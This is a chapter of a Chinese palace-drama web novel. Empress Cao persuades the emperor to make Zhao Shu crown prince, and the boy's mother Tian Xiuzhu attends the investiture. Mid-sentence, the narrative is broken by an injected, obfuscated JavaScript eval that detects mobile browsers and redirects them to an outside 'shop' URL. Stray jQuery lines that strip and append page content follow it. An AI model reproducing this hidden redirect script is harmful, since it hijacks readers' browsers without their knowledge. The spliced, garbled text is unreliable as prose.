18. 0018

作品:《宫斗:金手指是超凡生育

    历朝历代有多少位皇帝就有多少位皇后,而这些皇后里,既有长孙氏这样贤名流传千古的,也有贾南风那种遗臭万年的,那么对于曹凤英来说,她希冀自己成为一个什么样的皇后呢?


    答案,毫无疑问。


    她希冀自己成为一个,知书识礼,深明大义,既能妥善管理后宫,又能在关键时刻辅助君王成就一番伟业的皇后。这样的人,或许在夫妻关系上,稍显刻板无趣,但又往往会在自己认为“正确”的事情上,敢于明谏直言而不怕触怒上意。


    所以,此时此刻,在赵真略显诧异的目光中,本来坐在其身旁的曹皇后却突然长身而起,并以大礼跪在了他的面前。


    “皇后这是做甚?”赵官家的表情有些严肃。


    他知道,曹皇后既然摆出了这样的姿态,那么接下来要说的事情,就一定小不了。


    所以,他应激似的防备起来。


    “臣妾有一言,虽自知说出来便有僭越之嫌,但臣妾身为皇后,为国本计,为官家计,今日却不得不说了。”


    赵真微微眯起了双眼,直到半晌后,方才略一点头。


    曹皇后深吸一口气,沉声道:“主器者莫若长子,继明者必建储两。皇子赵曙,日表英奇,天资粹美,为计万年之统,为安四海之心,臣妾请旨,立其为皇太子,以正东宫之位。”


    赵真闻言,脸上并没出现什么暴怒之色。


    毕竟他不是康熙,儿子多到担忧他们随时会取代自己。


    赵真满打满算也才三孩子。而等这三子长大,以老赵家的历史寿数来统计,他十之八九离嘎掉也不太远了。


    所以,这位官家完全没有动怒的必要。


    赵真的凝神倾听,给了曹皇后继续说下去的勇气,果然,她复又接话道:“臣妾刚才说的是为公。而现在所说则为私。德妃妹妹与陛下隔阂,这事虽有违妾妃之德,但却也算的上情有可原。陛下若有心与其修复情谊,那么应该没有什么比立曙儿为太子,而更好的补偿了吧?”


    赵真听到此处,神情猛然一动。


    “陛下,为国为家,为公为私,此时立下太子,都是最好的时机啊!”


    “皇后的话……朕听进去了,只是此事毕竟干系重大,还要与前朝商量才是。”


    曹皇后听到此处,心里面立时松了一大口气。


    知道这事十之八九是能成的。


    事实上,她猜的一点都没错。


    宋朝的士大夫们深受儒家传统影响,他们是非常希望皇帝立太子的,毕竟早一天确定东宫是谁,大家早一天就能安心,早一天,就能开始研究怎么往东宫身边塞人。毕竟是太子嘛,你得启蒙吧,你一启蒙就得有老师吧,这叫什么,叫帝师!太子身边服侍过的人叫什么,叫潜邸御用。这些人在太子长大继承皇位后,有一个算一个,起步都得是三品以上。


    至于宰辅就更不用说了,必定也出在这些人之中。


    大臣们十分乐意,赵真就更没有理由不同意了。事实上他心里恐怕早就这么打算了。只不过以前是碍于孩子太小,一来看不出什么天份成色,二来怕太子名分过重伤了孩子的福气,可如今,赵曙健健康康无病无灾地长到了四岁,所以位正东宫一事,似乎也就水到渠成了。


    七日后——


    皇帝下诏,册封皇子曙为太子,祭天地,大赦天下。


    ********************************************************************


    “太子!真的是太子!!小主,小主,您的儿子成为太子了!!!!!!!!”当册封太子的旨意传遍后宫时,素云激动到整个人差点没晕死过去,一点规矩都没有的直接原地蹦了三尺高。


    跪坐在佛像前,已经捡了一上午豆子的田秀珠有点鄙夷的看了她一眼,嗔道:“那么激动干什么,这不是意料之中的事情吗?”


    你当一个儿子是白送的啊!


    素云可管不了那么多,只是一个劲儿地嘿嘿傻笑,田秀珠生怕这种渗人的笑声惊扰到佛祖,只能无奈地停下今日的礼佛活动,带着这疯丫头走出净堂,却不料想,外面竟比里面还要吵嚷。


    是的,就是吵嚷。


    每一个看见田秀珠的人,无论是宫女、太监,还是侍卫,有一个算一个,全都噗通一声跪在地上,然后开口就是:恭喜德妃娘娘,贺喜德妃娘娘。


    人家都这么恭贺了,你不给钱也不好看啊。


    于是田秀珠不得不开始装模作样地,一边在心里肉痛的要死,一边笑呵呵地一路:赏赏赏,大家都有赏。


    这还不算完。没一会儿功夫,嫔妃们也开始络绎不绝的跑来恭贺了。对此,田秀珠面上淡然,但心里却挺不好意思的,朱太后素来喜欢清净,偏因着自己如今住在这里,倒是多出了这许多的纷扰来。所以,在客气的谢绝了大多数的访客后,田秀珠主动跑去觐见了太后,表达了自己的歉意。


    朱太后当然不会责怪她,相反,这位老人家展现出了一副比往常还要亲和两分的态度。


    “哀家就知道,你是个有福分的。”挥退左右后,朱太后示意田秀珠走上前去,并轻轻拉住了她的一只手,语重心长地说道:“好孩子,听哀家一句劝,既然你有这个福分,那便更要珍惜这个福分。不要再和皇帝赌气了,你要谨记,他是皇帝,是天下万民的君父,你在他的面前,可以怨,可以怪,但绝对不能忤逆,否则吃亏的只能是你自己,明白吗?”


    朱太后的意思很明白:皇帝的忍耐是有时限的,给个台阶下去就好,不要不识时务。


    “太后的教诲,臣妾铭记于心。”


    终究是人家亲妈,不是自己亲妈,谁的孩子谁知道疼。


    田秀珠微垂双眸,竟是一副感激涕零的模样。


    “明白就好,明白就好。”朱太后高兴地大笑起来。


    再之后,这两人又说了许多话,而说着说着,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943785|192625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    位大娘娘居然对田秀珠提出了一个意想不到的话题。说是听闻她的叔父鳏居多年,她老人家有意,想要为其拉个红线,指段姻缘。


    “是我娘家的一个远亲,今年三十出头,也是命苦的,年轻时嫁过一个丈夫,不到半年就突发疾病死掉了。哀家怜她无儿无女,守寡多年,早就有心想要为她寻个妥善的好人家,只是一直没有什么适合的人选……”


    说到此处,朱太后眼巴巴地盯着田秀珠。


    后者:“………”


    她能拒绝吗?她敢拒绝吗?而且似乎也没有什么拒绝的必要……这是好事!


    “此乃大娘娘的恩典啊,妾身代叔父,谢过您了。”田秀珠果然没有拒绝,她欢欢喜喜的长身而起,高高兴兴地对着朱太后行了个蹲身礼。


    果然,眼看田秀珠如此的识抬举,朱太后非常的高兴。毕竟,像指婚这种事情,其实她也是第一次干,而第一次就能这么顺利,心里自然无比畅快。


    说不定哀家也有做媒婆的潜质呢,这一刻,高兴中的朱太后很是得意的如此想到。


    赵曙正式册封为太子的那一天,是在大庆殿举行的,很多年前,赵真被册立为太子的时候,也是在这里举行的,同样的地方,自然也有同样的人,只是面孔不同罢了,位格与官职却是一样的,比如说,底下站着的都是朱袍绿紫,个顶个的国家栋梁之材,而上面坐着的都是皇帝皇后。只不过不同的是,今日,除了一身凤袍的曹皇后外,在稍微下一点的台阶上,还坐着另外一个女人。


    是的,田秀珠今天也来了,而且还打扮的格外光彩照人,但见其穿着一身典雅的蹙金云纹凤鸟大礼服,下身是一十二幅天蓝色的郁金拖地长裙,发髻是堪称高耸入云的朝天髻,髻两旁又各插着六只华贵异常的宝石簪子,她甚至还画了一个前所未有的精致妆容,因为手法过于高超,掩其不足,凸其长处,竟把原来只能算是七成的样貌,足足拔高到了九成,搞得人赵官家在看到她的一刹那,都情不自禁地愣了会儿神。


    这是什么东亚邪术?


    闲话暂止,回归到太子的册封仪式上。


    田秀珠坐在那里,亲眼看着,那块从自己身上掉下来的【肉】,在不用任何人搀扶,照顾的情况下,自己一个人在众目睽睽下,走进了大庆殿。田秀珠虽然也知道,这肯定是事先彩排过不知道多少回的,但还是会为这个小家伙而感到担忧和紧张,所幸,一切都进行的很顺利,并没有闹出什么不应该闹出的笑话,小家伙很顺利的完成了所有的仪式。


    曹皇后把他教的很好。


    想到此处,田秀珠下意识地瞥了眼皇后的位置。


    果然,此时的她,也正一脸欣慰和骄傲的看着曙儿呢!!!


    隆重而盛大的册封仪式结束后,一切逐渐归于平静,而田秀珠她硬是又在宝慈宫磨蹭了一个来月,而后,方才恋恋不舍地搬回了霈霞殿。


    当日。


    内侍省便有旨意传达,赵官家召其今夜伺寝。